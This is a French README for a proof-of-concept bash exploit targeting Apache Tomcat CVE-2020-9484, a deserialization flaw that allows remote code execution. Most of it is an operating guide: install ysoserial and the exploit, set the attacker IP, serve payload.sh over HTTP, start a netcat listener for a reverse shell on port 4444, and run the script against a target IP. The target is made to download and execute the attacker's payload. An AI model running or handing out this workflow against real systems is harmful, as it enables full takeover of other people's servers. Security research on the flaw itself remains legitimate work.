
Apache Tomcat 9.0.27 est vulnérable à l'exécution de code à distance avec l'identifiant CVE CVE-2020-9484. D'autres versions peuvent également être affectées. Testé sur Kali 2020.4 et JDK 8. Ce script bash est une preuve de concept simple. À des fins éducatives uniquement.
La vulnérabilité permet à un attaquant distant d'exécuter du code arbitraire sur le système cible.
La vulnérabilité existe en raison d'une validation d'entrée non sécurisée lors du traitement des données sérialisées dans les noms de fichiers téléversés. Un attaquant distant peut transmettre un nom de fichier spécialement conçu à l'application et exécuter du code arbitraire sur le système cible.
L'exploitation réussie de cette vulnérabilité peut entraîner le compromis complet du système vulnérable, mais nécessite que le serveur soit configuré pour utiliser PersistenceManager avec un FileStore et que l'attaquant connaisse le chemin de fichier relatif à partir de l'emplacement de stockage.
Afin d'utiliser le script, yoserial est nécessaire. Pour l'installer :
cd /opt && git clone https://github.com/frohoff/ysoserial
cd /opt/ysoserial && wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial-master.jar
Si vous avez déjà yoserial installé, assurez-vous de le renommer en "yosorial-master.jar".
Pour installer le script, tapez :
cd /opt && git clone https://github.com/PenTestical/CVE-2020-9484 && cd CVE-2020-9484/ && chmod +x CVE-2020-9484.sh
Pour ouvrir le menu d'aide, tapez :
./CVE-2020-9484.sh --help
ou
./CVE-2020-9484.sh -h
Tout d'abord, ouvrez le script et placez votre propre adresse IP à la ligne 14 :
remote_ip="10.10.16.180" # change this
Ce script crée les fichiers "payload.sh", "downloadPayload.session", "chmodPayload.session" et "executePayload.session" dans le même répertoire que celui où vous vous trouvez actuellement. Afin d'utiliser l'exploit, vous devez démarrer un simple écouteur sur le port 80. Par exemple, utilisation avec Python3 (à démarrer dans le même dossier que celui où vous exécutez le script) :
sudo python3 -m http.server 80
Assurez-vous également de démarrer un écouteur netcat sur le port 4444 :
nc -nvlp 4444
Exécutez maintenant le script avec l'adresse IP du système cible que vous souhaitez attaquer :
./CVE-2020-9484.sh target-ip
Si cela ne fonctionne pas, assurez-vous d'utiliser JDK 8. Pour tester quelle version vous utilisez, tapez :
java -version
Peut ne pas fonctionner sur JDK version 12 ou supérieure. Vous pouvez en savoir plus ici.